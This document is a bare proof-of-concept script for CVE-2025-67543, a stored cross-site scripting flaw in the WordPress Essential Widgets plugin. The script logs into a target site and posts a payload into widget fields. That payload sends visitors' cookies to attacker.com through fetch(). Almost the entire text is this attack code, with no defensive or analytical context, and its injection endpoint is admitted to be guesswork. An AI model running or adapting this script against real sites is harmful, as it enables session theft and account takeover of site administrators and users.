CVE-2025-67543

import requests import re # CVE-2025-67543 PoC - Stored XSS in WordPress Essential Widgets # Target: WordPress site with Essential Widgets plugin <= 2.2.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def login(): """Authenticate to WordPress admin panel""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=data) return session if 'wordpress_logged_in' in str(session.cookies) else None def inject_xss_payload(session): """Inject stored XSS payload via Essential Widgets""" # XSS payload - cookie stealing example xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Target the essential-widgets admin interface or widget settings widget_url = f"{TARGET_URL}/wp-admin/admin.php?page=essential-widgets" # Payload injection point varies based on widget configuration post_data = { 'widget_title': xss_payload, 'widget_content': xss_payload, 'action': 'save_widget' } response = session.post(widget_url, data=post_data) return response.status_code == 200 def main(): session = login() if session: if inject_xss_payload(session): print("[+] XSS payload injected successfully") print("[*] Payload will execute when admin/user views the affected page") else: print("[-] Failed to inject payload") else: print("[-] Authentication failed") if __name__ == "__main__": main()

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